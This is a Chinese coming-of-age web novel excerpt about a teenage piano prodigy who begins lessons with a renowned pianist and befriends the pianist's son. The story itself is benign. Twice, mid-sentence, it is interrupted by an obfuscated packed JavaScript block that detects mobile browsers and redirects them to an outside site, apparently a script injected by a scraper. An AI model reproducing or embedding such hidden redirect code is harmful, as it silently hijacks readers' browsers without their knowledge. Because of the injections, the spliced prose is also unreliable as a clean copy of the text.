《冰河风》 1. 《钟》 《冰河风》 作者:腰下剑 首发于晋江文学城 请支持原创,拒绝盗文 —— 梁初灵常年练琴的教室窗外有棵奇形怪状的树,结的果子很甜,可是树本身非常招虫子。 想占便宜的人爱护这棵树,厌恶虫子的人想砍了这棵树。 两方立场鲜明,最终这棵树摇摇晃晃得越长越粗,谁都爱它谁都恨它。 它毫不在意,自顾自地长,长他爹的,疯长! 梁初灵,芳龄十六,人生烦恼不多,主要集中在她爸她妈,以及钢琴上。 她爸梁父负责有钱,不太管她。 这份父爱具体表现为:梁初灵的零花钱额度足以让她在小学初中里成为财神爷,进入高中后就不太行,能人志士太多。 至于梁先生本人,常年在各个“外”,在公司、在朋友家、在外地、在各种梁初灵搞不清名目的会所,父女俩照面的次数稀少。 妈女士则负责美,以及偶尔,非常偶尔地,爱爱她。 妈女士的人生信条是“自我至上,女儿次之”。 她的爱,是非要给梁初灵扎个复杂的辫子——有时候能锦上添花被人称赞,但从不能雪中送炭救人一命。 但妈女士自认是个负责任的好妈妈,尤其在发掘女儿天赋这件事上不遗余力。 梁初灵确实有天赋,在钢琴上。是让圈内人提起咂舌、难以置信的魔幻天赋。 五岁就能对着乐谱自己哼哼,音符在她眼里是自带音高的文字。 从六岁到十六岁,她坐在琴凳上的时间很长。六岁才学钢琴,直接进入央音附小,天生就知道该怎么发力。 八岁,手下流淌出的莫扎特,已经能拿捏属于孩童的纯真与宫廷乐章的庄严之间的平衡,两个灵魂在她小小的身体里和谐共处。 九岁与国际钢琴大师同台演出协奏曲,复杂的八度跳跃零失误,能将各个声部层次拆分得一清二楚,用一架钢琴一人分饰多角。 十三岁收到了柯蒂斯音乐学院的录取通知书。柯蒂斯的每个学生都会有对应的赞助商,而梁初灵的赞助商希望她考虑加入美国籍,以便更好地发展。 这事本还有商量的余地,但十三岁的梁初灵,一切谈判都需要监护人在场——她的监护人又无法在场。内心骄傲,觉得自己无法主导的谈判那就毫无必要,索性不去了。 此后的三年,她依旧在音乐圈里制造传说。十五岁在皇后大厅与交响乐团的合作演出,技惊四座,录音在圈子里流传。 妈女士对此非常满意。 她觉得,自己这朵花没能在艺术土壤里绽放,遗憾必须在女儿身上补齐。 于是,在梁初灵第十六个年头,妈女士尽了自认为当妈妈以来最大的一份责任:托了几百层关系,辗转联系上了十几年前的一任男友。 该前男友如今在某个艺术基金会说得上话,而妈女士的目标,是请动一位真正的大佬——李炽。 李炽美国学成归来,国际上拿奖无数,名字响当当。走的路线也和大多数钢琴家不同,先跑去斯坦福读了个不沾边的人文专业,然后才回归音乐,一路杀到顶峰。 不开大班授课,学生掰着手指头数得过来,一年里有半年呆在国外,剩下半年在国内,神龙见首不见尾。 请她教琴,光有钱不行,还得有缘,有份,最好再有点陈年旧情。 前男友被妈女士打动,真给搭上了线——这是一方面。 更重要的一方面是梁初灵本人。李炽也早就听过她的名号,听过她十五岁在皇后大厅那场的录音。 这就有了今天这场重要的视频面试。 —— 梁初灵坐在家里琴房,面前是架着她的平板电脑。 屏幕那头,是李炽老师。 李炽看起来很钢琴家,一种有点炸裂的严肃——指的是气质。 她没废话:“弹一首你拿手的。” 梁初灵也没怯场,弹了首李斯特的《钟》曲子技术难度高,她弹得举重若轻,轻盈、流畅,游刃有余。 一曲终了,没人说话的这几秒里,梁初灵甚至有空想,这老师家的装修怎么没什么装饰,但是背后居然有个巨大的主席像。 跟她的人一个调调。 然后,李炽开口,很清晰:“我周三到北京。到时候你来我琴房,再弹一次。” 话说得一板一眼,但梁初灵和她旁边竖着耳朵听的妈女士都明白这事儿大概成了。 李炽的琴房,不是什么阿猫阿狗都能进的。 “好的,李老师。”梁初灵应得乖巧。 “地址我稍后发给你妈妈。”李炽说完,就打算结束通话。 梁初灵对着屏幕挥挥手,说了声“拜拜。” 在画面即将切断时,梁初灵看见视频框的右下角,一个穿着白T恤的身影晃了进来,似乎是要拿什么东西,然后又很快晃了出去。 看不见人,只看见白T,像一阵风,摇摇摆摆,飞快。 视频彻底结束。 旁边的妈女士戏剧性地呼出一口气,拍了拍胸口:“搞定!宝贝,妈妈是不是很厉害?” 梁初灵点点头,客观评价:“还行,主要是我弹得好。” 妈女士不跟她计较,兴致勃勃拉起她:“走,喝东西去!庆祝一下!” 半小时后,梁初灵坐在了一家咖啡馆里,手里捧着一杯塞给她的热巧克力。 初秋的北京,天高云淡,坐在温暖的室内喝这个也应景。 她百无聊赖打量四周。 窗内,妈女士穿得花团锦簇,拿着手机各种角度自拍。 窗外,周一,工作日,北京的路上行色匆匆,大家穿得也像个人。 妈女士很快喝完她那杯拿铁,风风火火拿起包:“你慢慢喝,妈妈约了朋友,司机在外面等你了,喝完自己回家啊!” 说完香风一卷,人就没影。 梁初灵早已习惯,捧着温热的热巧克力,小口小口喝,甜腻感其实有点让她不适,但还是在喝。 正如她不爱吃糖,但每次别人递给她的糖,她也会收下。 看着窗外的人流车流,只在心里盘算着周三去见李炽要穿什么。 两天后,李炽从取餐台端起两个纸杯,一杯递过来。 梁初灵还在这个座位,接过—— 还是一杯热巧克力。 李炽自己的那杯没喝,端着一起去了琴房。 “你先坐。”李炽指了指客厅里的一张沙发。 屋内装修极简,没什么装饰,最大的特点就是空间开阔,以及无处不在的隔音材料。 李炽推开一扇门,里面是一个标准的琴房,吸音材料覆盖,正中央是一架钢琴伫立。另一边就是那个巨大的主席像,梁初灵没来由的想鞠个躬。 而钢琴旁边,站着一个人正在看手机。 一个穿着白色长袖T恤和牛仔裤的男孩,看起来跟自己差不多大的样子,个子挺高,身形清瘦,头发看起来软软的。 听到开门声,他转了过来。 门正对着梁初灵的沙发,所以此刻那个男生和梁初灵对视。 梁初灵的眉毛一跳。 这就是视频里那个一晃而过的白T恤吧。 男生不惊讶也不热情,很平常地看了梁初灵一眼,笑了一下,再招招手打个招呼。只是从头到尾人都没走出来,梁初灵也理解,搞艺术的都有点脾气和性格,她不觉得这是优点、也不觉得这是缺点。瑕瑜互见么。 梁初灵猜测他会是未来的同学。 李炽的声音:“梁初灵,进来吧。” 梁初灵走进琴房。那个白T恤男生走出去,和梁初灵擦肩而过,没什么表情——不是冷漠,梁初灵感受到的是平和。 李炽坐在了钢琴旁的一张椅子上,她指了指钢琴:“弹你视频里那首。” 梁初灵在昂贵的钢琴前坐下,跳了几个音,触感一流。 她收敛心神,手指落下。 《钟》的旋律再次流淌。 在这个空间里,没有了网络延迟,梁初灵弹得更投入。 一曲弹完,李炽没鼓掌,也没点评。 看着梁初灵,几秒钟后,才开口:“技巧很熟练,乐感也不错。” 梁初灵眨眨眼,感觉老师有话没说完。 “你在用李斯特思考,而不是用感觉。”李炽点明。 “李寻。” 那个白T恤靠在琴房的门框上。 李炽对梁初灵说:“这是我儿子,李寻。他偶尔会过来,跟你一起上课。” 梁初灵脑子里有弹幕:儿子?李炽老师有儿子?还这么大只? 她一直以为李炽这种级别的艺术家,生活里应该只有钢琴和空气才对。 而且,这儿子看起来不怎么像他妈,气质完全不同。 梁初灵看向李寻,李寻对她点了点头,是笑的,看起来很温柔的样子。 梁初灵的生活中难以得见温柔,于是觉得有意思。 但有意思是一方面,就像是别人递给她的那些糖,会接下,可是她不爱吃糖。 难以得见温柔,但也不代表她需要找寻温柔。 梁初灵此时心里在疯狂吐槽:关系户! 不过她转念一想,自己不也算是关系户吗? 好像也没比人家高贵到哪里去。 她瞬间蔫了,那点不平衡烟消云散。 李炽这种级别的老师,一年只收几个学生,国内正儿八经的估计就她一个。 她能有什么意见? 当然没有。 说得好像她有资格有意见一样。 靠妈没什么,她自己也是。 她只恨自己的妈不是钢琴家,不然她也能少走几年弯路,不然她可能比现在还牛。 只是梁初灵被夸天才太久,太知道音乐这行不公平。 天赋这东西,有就是有,没有就是没有。 有天赋的人学几年就能抵别人几十年,没天赋的学一辈子也就那样。 梁初灵闻名已久,却没听过李寻这号人物。想来水平有限。 自然而然,她认为这位估计弹得不怎么样,纯属近水楼台先得月,被神仙妈妈捎带着教教。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730777|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天赋不按血缘分配。 李炽老师是神仙,神仙的儿子未必就是小神仙。 因此,当李炽对李寻说“你也弹一首”时,梁初灵的期待值已经自动降低,从兜里掏出个奶片吃。 李寻在梁初灵刚离开的琴凳上坐下。弹的是一首巴赫。 梁初灵一开始是抱着“我倒要看看你能弹成什么样”的心态听,听着听着,她心里的漫不经心就收起来。 弹得—— 竟然还不错! 没到让她瞠目结舌的水平,但也不必跟她比,那也太为难人。 但真的不错。绝对不能说是“还行。” 触键干净,音符清晰,线条也好,最关键的是乐感很好。音乐里有真诚的叙事感 梁初灵是挑剔的。 她不免在心里感慨:果然啊,基因的力量是强大的!不愧是李炽老师的儿子。就是可惜了,一定是被他那个爹拖了后腿,搞坏了基因!不然以李炽老师的水平,她儿子怎么着也得是个少年天才才对。 还谁都不认识谁呢,梁初灵已经在心里先一步、自作主张替李寻恨上了他的爹,顺便也替李炽恨上了她的夫。 这基因破坏者,真可恶! 李寻弹完没什么表示,从琴凳上站起来。 梁初灵鼓了鼓掌,出于对刚才那段演奏的认可。 也没觉得不好意思—— 自己刚才弹得那么牛,他鼓掌了吗? 他没鼓! 那现在自己给他鼓掌,他赚了! 梁初灵觉得自己这是在巴结李炽,希望老师能感受到。 李寻愣了一下,然后又对着她笑了笑。 一句话没说呢,笑几回了都。 梁初灵心里纳闷,心情这么好吗? 李炽没管她俩之间这点小小互动,她看向梁初灵,切入正题:“我知道柯蒂斯是可以突破规则为你保留学籍的。找我不是为了重考吧?” “不全是。我是想跟着您学钢琴。以及在想是不是可以像您一样,先去读点别的,比如社科人文之类的。那样可能更有意思,对我的职业生涯更有助益?不过也说不好……只是我不想带监护人一起去上课。” 她喜欢李炽,喜欢她更广阔的音乐路径,觉得自己跟她很相似,希望能从她这里学到更多思想和思考方式,所以不想扯理由,想到什么说什么。 李炽点点头,并不意外,也不去多问她为什么这么抵触带监护人一起去上课。李炽是老师,也是母亲,也是女性,也看过梁初灵的履历。 自然也知道她对于这些要求都很清楚,自然也知道她那些奖都很扎实,自然也知道她的野心,自然也知道她的家境、和家庭——这自然也是两个完全不一样的东西。 她对自己的小孩如此放任,自然也不会对别人的小孩横加干涉,她爱护天才,但,天才么,她自己不也是?她见了也太多。天才么,过江之鲫。 李炽:“你可以跟着我学钢琴。至于以后是去柯蒂斯,还是去读别的,你自己决定。你足够走到任何你想去的地方。” 梁初灵也点点头,同样自信:“我知道。” 她确实知道。 她对自己的天赋有着毫不怀疑的认知。 她会走到很高的高度,这是理所当然的事情。 她知道自己站在哪里,也知道自己能走到哪里。 说过了,音乐这条路很不公平,天赋是唯一的通行证,她很早就已拿到。 点头的间隙,她看一眼旁边的李寻。 她心里有点点担忧,李炽老师这话说得这么直白,会不会打击到这位? 毕竟他弹得还行,但跟自己比起来差距还是挺明显。 一点都没有。 李寻脸上毫无气馁之色。 对于李炽给别人规划的光明未来,毫不关心毫不嫉妒。 这就让梁初灵有点好奇也有点意外。 这人不仅心情好,心态也好啊! 课程结束,梁初灵收拾东西准备离开。 李炽突然对李寻说:“你下周那首曲子的第三乐章,强弱对比再明显点,别弹得跟白开水一样。” 李寻点点头说好。 梁初灵心里哦豁一声,看来李炽老师对自己儿子要求也挺严格,不是完全放养。 走到门口,李寻居然也跟出来。 “梁初灵。”他在身后叫她。 梁初灵回头。 李寻慢悠悠地走过来,递给她几张折起来的纸。 “什么?”梁初灵没接,警惕地看着他。挑战书? 李寻把纸片又往前递了递:“我妈给你的。下周要用的谱子,让你先预习。” 梁初灵这才接过,打开一看果然是一份钢琴谱,难度不低。 她对自己视奏的能力是有把握的,但并不代表就可以不用抢跑练习。 她要当的是真天才,而不是只图浮夸。 “谢谢。”她有点尴尬,为自己刚才的内心戏,掏出包小饼干,“你吃吗?” “不客气。我不吃,你留着自己吃。”李寻说完,转身又晃回了小楼里。 2. 《蝴蝶》 梁初灵正式成了李炽的学生,每周雷打不动地去那栋楼报到三次,周三、周五和周末的任意一天,具体是哪一天需要看李炽的安排。 每周都得完成两首新曲目,含一首古典奏鸣曲一首中国作品。 李炽只看最终呈现,不在乎过程你掉了几层皮。 也不在乎梁初灵要去当什么比赛的评委,提前报备一下就行。梁初灵提出这两年不去赛场当评委专心弹琴时,李炽反而觉得没必要,大型赛还是可以去瞧一瞧的。能够听一听各种人的表达也是有意思的一件事。梁初灵还是少年人,多学多看多听多思,总是有好处的。 唱片公司反复找来,捧着合约想签下梁初灵做世界巡演,被梁初灵和李炽联手拒了。李炽觉得巡演太早会磨掉灵性。梁初灵单纯觉得麻烦。 琴房里还会有小型合奏的机会,来的也都是李炽以前在美的同学或老师,李炽不吝啬自己能给出的所有资源。 她认为这是老师的意义,也认为这才是“培养”二字的意义。 只是,天才的朋友总归不是凡人。性格也奇奇怪怪居多。 一次李炽安排的小型合奏课,来了几个李炽以前的学生。 其中一位有点趾高气昂的师哥,在大家轮流试奏时,对李寻负责的声部指手画脚:“李寻,你这个段落处理得太保守了,跟你妈妈一点不像。你看这里,应该更激情一点,像我这样。” 说着就要去动李寻面前的谱架,想直接在上面标记。 梁初灵正在旁边喝水,见状立刻放下瓶子,用自己的身体隔开了那位师哥和谱架,像护崽的母鸡。 倒也不是想护着李寻,俩人也没多熟。 只是觉得这师哥也太没边界感了!处理的怎么样不是等老师意见吗?你算老几啊!怎么着李炽老师还没说话呢,你倒先当上裁判了?而且怎么李寻一动不动啊!就等着别人划他谱子啊! 梁初灵怒其不争! “李老师说了,谱面标记要统一用铅笔,而且得经过她确认。你这红笔一划很不专业,回头我们还得擦。”她把自己的铅笔塞到李寻手里,“用我的。” 那位师哥的手停在半空,有点下不来台。 梁初灵已经转过身,认真研究自己那份谱子,嘴里还哼着刚才李寻弹的那个保守段落。 李炽的教学风格和她的人一样,直接,高效,不留情面。对于学生和对儿子一样,都不怎么过多干涉。 所以对于此类插曲毫无感觉。 只对练琴严肃,一个音符处理不到位,能让你反复弹上二十遍,直到再也错不了为止。 导致梁初灵平时每天自己在家里练琴时,脑子里也都是李炽。 她感觉这张脸现在是全世界她最熟悉的一张脸…… 梁初灵虽然被叫天才叫惯了,但在李炽这里她不敢懈怠,每次上课都打起一百分的精神。 李寻确实如他妈妈所说,只是偶尔出现。十次课里他能来个三四回。 来了也不怎么说话,自己练练琴看看书,偶尔写写作业。李寻上的是国际高中,方便他跟着李炽偶尔往外跑。学业压力不重,作业也不多。李炽确实想给自己孩子一个自由的生长环境。 李寻性格是真好。梁初灵第一百次感慨。 会自发的擦擦琴打扫卫生,给李炽备好坐垫和护手霜。 某次梁初灵还看到李寻往抽屉里补充卫生巾。 不止是对自己妈妈关照,对梁初灵也是。 发现梁初灵不喝咖啡,下次就会给她带酸奶。 发现梁初灵着急忙慌找指甲剪,痛呼指甲怎么长这么块不是昨天刚剪吗!下回李寻就买了个指甲剪放琴房里,还放了包消毒湿巾。 聊了几次,梁初灵才知道,李寻比自己就大五个月。 因为性格使然,他看起来比实际年龄要成熟,梁初灵则显得更跳脱,这一对比,显得李寻比她大不少似的。 接触多了,梁初灵对李寻的钢琴水平也有了更清晰的认知。 就像她第一次感觉的那样,真的不错。 但也就止步于不错。 缺少一点统治力。 梁初灵并不因此对李寻有什么看法,她总觉得李寻其实挺厉害的,特别适合当老师……经常突如其来的点拨两句,就让她茅塞顿开。偶尔弹奏时的小设计也很出彩。 以他的品味和脑子应该很厉害的啊!应该更厉害的啊!应该超级无敌厉害的啊! 梁初灵又替他恨上了他的爹。 有一次李炽接了个国际长途,就要去阳台接电话。 想起什么,又敲了敲门框的不锈钢处。 “梁初灵,一会儿试一首新曲目,双钢琴版本,你弹第一钢琴声部。”然后看向自己儿子,“李寻,你弹第二声部。合一下。” 梁初灵和李寻对视了一眼。 合奏啊…… 梁初灵心里有点嘀咕,让她和李寻合奏,自己会不会被拖后腿啊? 但她没敢说出来。 李寻没什么表示,只是接过他妈妈递过来的另一份谱子,点了点头:“好。” 第一次合练,梁初灵不习惯与人配合,节奏有点赶,差点带跑李寻。 李寻没说什么,只是稳稳保持自己的速度,用触键声音引导她,很快梁初灵就找回了感觉。 她有几个音弹得自己很不满意,有点烦躁,于是翻谱子的时候有点毛手毛脚,差点把谱子扯破。李寻把两份谱子都用文件夹夹好,页角抚平。 梁初灵怔怔,这观察力也太好了吧? 李寻似乎永远都是那样,不紧不慢,观察入微,不抢风头,也不因为梁初灵的急躁或偶尔的傲慢而流露出不满。 弹完后,梁初灵看着李寻,等他反应。 李寻觉得好笑,但还是哄着她,鼓鼓掌,开夸:“弹得真棒,去边上玩儿吧,我把这儿擦一遍。” 下课后李炽又观赏阳台门在接电话,琴房里就剩下梁初灵和李寻。 梁初灵收拾着谱子,李寻在旁边擦完钢琴和琴凳后不知道在找什么东西,空气中弥漫着一种介于熟悉和陌生之间的安静。 梁初灵是个憋不住话的,尤其心里有疑问的时候。 她扭头看向李寻,那个盘桓在她脑子里好久的问题脱口而出:“李寻,你为什么要学钢琴啊?” 李寻没料到她会突然发问,耸耸肩,用一种很随意的口气说:“我常年跟着我妈,听多了就想上手弹弹看。我妈随便教教,我也就随便弹弹,发现我也弹得还行,就这么弹着了。” 听不出对钢琴有多大的热爱,也听不出多少抵触。 这个理由听起来很合理,说服了梁初灵。 梁初灵点点头。 从小泡在音乐环境里,耳濡目染,上手比别人快,觉得还行就继续了,这太正常。 她甚至生出了一点同情,觉得李寻这还行放在普通人家可能被夸上天,但在李炽那种神仙级别的对比下,估计压力不小。 反过来安慰他,语气直率:“其实我感觉你也没往死里练,不然以你的条件,应该弹得比现在更好。” 梁初灵是真心话,而且还有没说出口的真心话,是觉得李寻这水平,肯定是被他那爹拖了后腿,要是他往死里练,说不定还能往上窜窜。 李寻抬眼看了看梁初灵。 她脸上的确没有任何讽刺或者瞧不起的意思。 于是李寻自己没肯定也没否定,只是又笑了笑,没接话。 他想说自己其实也往死里练过一年,憋着一股劲想看看自己也不错。 大概是十一二岁的时候,青春期莫名其妙的倔强冒头。 看着妈妈在国外带学生,那些金发碧眼或者黑皮肤的孩子,技术突飞猛进。 他想证明给李炽看,你儿子也不错,我也不全是靠你随便教教。 结果李炽注意到了,抽空指导了他几次,点出他技术上的问题和音乐理解上的偏差,态度和专业,和她对待任何一个学生没什么两样。 没有为他的努力而动容,也没有看到他进步后的欣慰。 李炽的确,不在乎除了她自己以外的弹钢琴的人。 过早成名,也站上过顶峰,她不会执着于什么。 再者说她又不是男人,对于培养自己的接班人、留个自己的种这种概念,丝毫不感兴趣。 她想要自己儿子独立而完整,不被禁锢,尽量精彩。 当然,这不是李寻平和下来的主要原因。 主要原因是,李寻自己心里清楚,即便他那么拼命练习,他的进步也远没有达到他预期的脱胎换骨。他没能突破那个看不见的天花板。他的手指还是追不上他耳朵里听到的完美声音。 可他有个李炽这样的妈妈。 正因为有这样一个妈妈,李寻对音乐的感知敏锐。 从小浸泡在最好的音乐环境里,耳朵被养得刁钻,听得懂什么叫好,什么叫更好,什么叫顶尖。 也正因为这份敏锐,他比任何人都更早意识到,自己不是那种天才。 不是梁初灵那种天才。 梁初灵弹钢琴非常厉害,他听得出来。 弹李斯特,那不是弹那是玩。 极其轻盈,舒服,流畅,几乎没恶声。 哪怕是一首以艰难狂暴著称的练习曲,在她手下也像鱼入水,如鸟上天,自然、轻松,甚至会给外行一种我上我也行的错觉。 是天才的伪装。 这种举重若轻的效果。 这实在太考验水平。 这叫内行人感到无力。 李寻自己弹得不能说不好。 拿出去,估计那些被称为钢琴天才的人,也能客观地夸一句有点东西。 但李寻骗不过自己。 他弹得很累。 不是身体上的累,是精神上的。 他的审美,被李炽喂养出来的审美,永远走在他的技术前面。 并且,他悲观地预感到,会一直走在前面。 他清楚地知道自己想弹出什么样的声音,但他的手指总是差那么一点意思。 知道什么样的音色是美的,什么样的处理是高级的,但他无法精准地实现脑子里的蓝图。 这种眼高手低的差距,对于敏感的人来说,是一种难堪的折磨。 自从第一次他弹完,梁初灵为他鼓掌之后,每一次梁初灵弹完,只要他在,他也都会为她鼓掌。 这是一种回应。 而此刻,梁初灵问他:你为什么要学钢琴? 作为擅长回应的他,回答了,却不会回问梁初灵:那你呢?你为什么要学钢琴? 天才如同故事里的英雌或者英雄,理应是会受到命运召唤的。 所以李寻都懒得问梁初灵是怎么走上的钢琴之路。 他觉得问出来,自己就像个游戏里被程序员特意安排过来,为了引出主角背景故事的NPC,太滑稽太刻意。 他才不问。 但是,梁初灵自己要开口。 她好像有种分享欲,或者说她根本不觉得这有什么不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16730778|189655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能说的。 她对着李寻,很自然地说道:“我妈的所有前男友都是弹钢琴的,就我爸不是。所以我从小就特别好奇,弹钢琴的男的到底有什么魔力。” 梁初灵伸出食指,强调了一下所有这两个字 李寻挑了下眉,觉得这个开场白相当有冲击力。 梁初灵继续说:“读一年级的时候,我自己就去学校钢琴兴趣班报了名。学了之后发现,还真挺有意思。老师还夸我有天赋。我当时吓死了你知道吗?” “吓什么?”李寻配合地问。 “我以为我不是我爸亲生的!”梁初灵瞪大眼睛,表情夸张,“我爸他对音乐一窍不通啊!我一个音痴爸,怎么能生出我这种天才女儿?!” 李寻被她的话和表情逗得忍不住,笑出了声,刚才那点沉稳消失无踪。 他看着梁初灵那双眼睛,心里有个声音轻轻说:基因没什么重要的吧。我的妈妈是钢琴家,我的爸爸据说也是搞音乐的,吹萨克斯风,还挺受欢迎。可那又怎么样呢?组合到我这里,也就只剩下这个水平了。 可能是被什么附身,李寻以为自己是在心里说,可他实际上嘴里也吐露了出来。 梁初灵忍不住:“都怪你爸爸。” 没说怪什么,但李寻一下就懂。 梁初灵说完就觉得自己这话有点没过脑子,想打个哈哈糊弄过去,结果李寻罕见的严肃:“不是的,你不要这么说他。他也好,我妈也好,都没道理要为我的理想负责。” 梁初灵以为李寻会无奈笑笑,或者像他平常一样用别的话题带过去,却没想到会听到他亮明这样真诚的态度。 不觉得是被指责,她分得清冒犯和真诚。 李寻的目光越过她,又返回与她相遇:“弹钢琴是我自己的选择。能弹到什么程度是我的天赋、我的努力、我的缘分。把我能弹得更好或者不够好的原因,归结到父母身上,这不公平也没意义。她们有她们的人生。知识无法靠血缘传播,是世界上最公平的事情。同样,我的人生是我自己的。” 李炽是自己生下的这个儿子,也是独自抚养教育他。 她似乎想给他最大的自由,从不强迫他必须练琴,必须走音乐这条路,对他一切的状态都表现出一种放任的态度。 李寻也的确自由。一种因为不被寄予厚望而产生的带着点疏离和悲哀的自由。 他的人生是他自己的,那么,就不该反向怪罪别人的人生。 自由是双向的。 一阵微风吹过,窗外树叶沙沙作响。 梁初灵看着眼前的李寻,忽然觉得他好像更加清晰。 被他的真诚所牵引,不由自主也想要坦诚相待。 她点了点头:“我知道了。是我想当然了。” 李寻看着她显得有点乖顺的样子,又忍不住对她笑,想哄哄她:“不是的,是你很正义。别说我了,你还没说完呢。你是吗?” “是什么?”梁初灵一时没反应过来。 是什么,当然问的是“你是你爸亲生的吗?” 梁初灵转了一下才反应过来,一拳就捶在了李寻的肩膀上:“你想点好吧!我肯定是啊!我不是难道你是啊!” 李寻猝不及防,痛的揉了揉肩膀,心里又有点想笑。 这不是你自己提起来的吗? 提起来了你自己又生气。 好无理取闹的一个小姑娘。 但他并不觉得讨厌。脸上也没什么恼怒,反而觉得她气鼓鼓的样子,比刚才那副装出来的体贴模样生动。 梁初灵亮完拳头,大概觉得武力威慑已经到位,又立刻恢复了那副大方分享的姿态,仿佛刚才打人的不是她:“我三年级的时候,实在受不了这个心理压力了,就去医院做了亲子鉴定。” 这事儿听起来有点离谱,但放在梁初灵身上又合理。只是…… “你怎么做到的?”李寻忍不住问,“医院不可能随便给小孩做这个吧?” “当然不能啊。得有大人带着,还得有证件。我逼着我妈带我去。我妈一开始死活不同意,觉得我疯了。” “那后来?” “我绝食了三天。也没全绝……偷偷喝了点水。主要是我跟我妈说,要是不带我去,我就再也不弹钢琴了。” 李寻默然,不敢笑,怕被打。 “后来我妈没办法,想尽快解决,就押着我爸我们仨一起去了医院。”梁初灵摊摊手,“结果我就是我爸我妈生的。” 她说到这里,拿起杯子又喝了一口冷掉的巧克力,眼神望向窗外。 脸上流露出一点点怅惘的神情,也不知道在怅惘什么。 嘴唇上面沾了一圈巧克力渍,她自己没察觉。 李寻看到了,没说话,从旁边的纸巾盒里抽了一张纸巾,折叠了一下,放在她手边容易拿到的地方。 梁初灵完全没注意到这个小动作,也就没擦。 李寻看着她丰富的表情和那圈巧克力渍,心里觉得有趣,鬼使神差地接了一句:“我也是我爸我妈生的。” 话音落下,两个人都愣了。 好神的一段话。 梁初灵先绷不住笑了出来。 李寻看着她笑,自己也忍不住跟着笑了起来。 笑完,李寻索性直接拿起那张纸直接递给她,梁初灵拿过来擦了擦嘴。 窗外的阳光洒进来,落在两个笑得东倒西歪的少年人身上。 秋入云山,物情潇洒。大抵如此。 这是她们刚认识的那个秋天。 3. 《革命练习曲》 李寻偶尔会来梁初灵学校找一位教授、也是李炽的朋友拿点资料,有时会顺便在食堂和教授一起吃个午饭。 这天教授吃到一半,又被电话喊走,李寻于是独自坐着安静吃饭。 两个显然是音乐附中风云人物的男生端着盘子过来,语气看似友好实则审视:“嘿,你不是我们学校的吧?经常看见你。跟刘教授很熟?” 另一个没等到李寻回复,生怕自己的嘴不说话就要锈:“听说你是李炽的儿子?那奇怪了,怎么没听过你的名号? 上一个接嘴:“李炽教不出你?那她到底行不行啊哈哈哈哈哈哈。” 另一个也跟着笑。 李寻不太习惯这种社交压力,也不会骂人。一般没想好怎么说他就索性不说。 此刻不说肯定是不行,他正想着怎么礼貌回应呢,一个餐盘哐一声放在他旁边的空位上。 梁初灵端着堆成山的饭菜一屁股坐下,眼皮一撩,目光扫过那两人:“干嘛呢?查户口啊?关你们什么事呢我请问呢?他跟我一起的,有意见吗我请问呢?要问李炽老师怎么样,自己去考她学生啊,背后打听多没劲,怎么不考?是不想吗?” 刚才还带着嬉笑的两个男生一动不敢动,不怀好意的打量碎成了慌张。 “梁师姐。”其中一个反应快点的,立刻用了敬称。 附中里能被称一声师姐的,都是能力和资历被默认顶尖的存在,梁初灵十五岁就在央音开过大师课,而每次每次在附中琴房练琴或者有观摩演出,门外都挤满学生。 “梁师姐好!我们就是跟李寻同学打个招呼。”另一个也赶紧找补。 梁初灵:“跟他道歉。” 两个男生互相看了一眼,都在对方眼里看到完了两个字。得罪梁初灵,以后还想不想听她的大师课?“对不起!李寻同学!”几乎是异口同声,鞠躬的幅度乱七八糟,“我们刚才胡说八道,您别往心里去!” 李寻还是只说了句:“……没事。” 梁初灵这才像是满意:“行了,该干嘛干嘛去。” 两人如蒙大赦,溜得比来时快多了。 梁初灵转头就把餐盘里的青椒夹到李寻盘子里:“尝尝这个,我们食堂唯一能吃的。下次有人烦你,你就说等梁初灵,他们就不敢惹你了。” 说完继续夹。 李寻看着盘子里的青椒愣半天,不太习惯这种关照,也不知道该不该吃。 只能说一句:“不用夹给我,你自己吃吧。” 梁初灵把青椒全部夹完,说:“我不爱吃青椒。我们食堂浪费食物扣学分。” 李寻:…… 梁初灵没管他,很快吃完,然后一路送他离开了附中。 晚上放学,梁初灵上了司机的车。 上车就把眼睛闭上开始睡觉,她就是能抓住一切时机开始睡觉,让人羡慕。 司机停在家门口。 天还没黑,但别墅依旧灯火通明,一种饱满的空旷。 张阿姨从厨房:“初灵回来啦?饭马上好。” “谢谢张姨。”梁初灵换了鞋。 餐厅长桌上,摆着四菜一汤,碗筷只有一副。 “我爸呢?”她坐下来,拿起筷子随口问。 张阿姨一边擦着灶台,一边回答:“先生下午来过电话,说有个应酬,不回来吃。” 梁初灵没什么意外。重要应酬,永远都有重要应酬。 梁大老板的钱包和他的时间成反比,钱包越鼓,在家露面的时间就越少。 她默默地吃着饭,张姨的手艺没得说。 手机响了,梁初灵接起来视频通话,继续扒饭。 “宝贝儿!下课啦?”妈女士的声音雀跃,“妈妈在巴黎呢!这边正在办展,哎呀好多好看的新款,我给你挑了几件。” “谢谢妈。”梁初灵嚼嚼嚼。 “李炽老师那边怎么样?没骂你吧?我跟你说,她那个人就是要求高,你忍着点,跟着她能学到真本事。” “我知道,她没骂我。就是练琴。”虾的须须卡牙了,梁初灵对着摄像头开始剔牙。 “那就好那就好!妈妈给你找的老师能差吗!我跟你说,我今天看到一条裙子,简直写了我的名字。就是颜色有点犹豫,蓝色还是红色?你觉得呢?” 梁初灵说:“都行。” “哎呀你给点意见嘛!算了算了,问你也是白问,你个小孩子懂什么审美。我两件都买了!对了,你吃饭没?” 